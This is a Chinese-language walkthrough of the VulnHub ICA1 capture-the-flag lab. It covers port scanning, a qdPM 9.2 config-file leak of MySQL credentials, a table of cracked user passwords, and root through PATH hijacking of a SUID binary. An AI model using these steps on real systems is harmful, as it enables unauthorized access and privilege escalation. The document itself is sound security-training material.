基本信息
靶机下载:https://download.vulnhub.com/ica/ica1.zip
攻击机器:192.168.20.128(Windows操作系统)& 192.168.20.138(kali)
提示信息:根据我们的情报网络提供的信息,ICA 正在进行一个秘密项目。我们需要找出这个项目是什么。获得访问信息后,请将其发送给我们。我们将设置一个后门程序,以便稍后访问系统。你只关注项目是什么。您可能需要经过多层安全保护。中情局完全有信心您能成功完成这项任务。祝你好运,特工!
靶机:192.168.20.0/24
目标:获取2个flag+root权限
具体流程
信息收集
老样子首先使用arp-scan -l
对主机进行探活,发现主机IP为192.168.20.148
之后对开放的端口进行扫描,执行nmap -O -sV -p- -A 192.168.20.148
,结果如下所示
靶机开放了22
、80
、3306
、33060
端口,其中80
和3306
端口是我们需要特别关注的两个端口,我们首先去看看80
端口,如下所示
我们发现是qdpm 9.2版本,我们去浏览器搜索一下这个版本的框架是否存在历史漏洞
我们发现存在密码泄露的漏洞,我们访问http://192.168.20.148/core/config/databases.yml
成功找到mysql的账号密码,我们远程连接mysql数据库即可
漏洞初探
我们使用mysql -u qdpmadmin -h 192.168.20.148 -p
登录mysql服务器
我们去qdpm数据库里面看看有没有什么信息
我们在staff
数据库中找到了一串账户和密码,我们拿去解密,并保存在txt文件中,如下所示
user | passwd |
---|---|
Smith | X7MQkP3W29fewHdC |
Lucas | suRJAdGwLp8dy3rF |
Travis | DJceVy98W28Y7wLg |
Dexter | 7ZwV4qtg42cmUXGX |
Meyer | cqNnBWCByS2DuJSy |
我么将这5个用户一个个去尝试登录ssh,我们成功登录两个ssh服务,如下所示
并且我们发现了第一个flag,如下所示
ICA{Secret_Project}
同时发现了一个提示,note.txt
It seems to me that there is a weakness while accessing the system.
As far as I know, the contents of executable files are partially viewable.
I need to find out if there is a vulnerability or not.
提示了我们要去找可执行文件,可执行文件上存在漏洞
权限提升
我们尝试进行suid提权,执行find / -perm -u=s -type f 2>/dev/null
,执行结果如下所示
其中get_access
文件十分的可疑,我们试着运行该文件
我们使用strings命令查看该文件的函数,如下所示
这里的cat我们可以使用环境变量进行提权,具体操作如下所示
cd /tmp
echo "/bin/bash" > cat
chmod +x cat
export PATH=/tmp:$PATH
cd /opt
./get_access
执行之后可以发现成功提权
具体原理就是我们将"/bin/bash"
这个命令伪装成cat
,而系统在调用cat
命令的时候会从左往右调用环境变量,而我们的/tmp
环境变量在写入时处于最左端,所以里面的cat
会被优先调用,进而直接执行/bin/bash
命令,进而拿到root权限
成功拿到root.txt
ICA{Next_Generation_Self_Renewable_Genetics}
本题到此结束
总结
- 浏览器进行信息收集,寻找泄露信息
- mysql收集系统信息
- 利用环境变量提权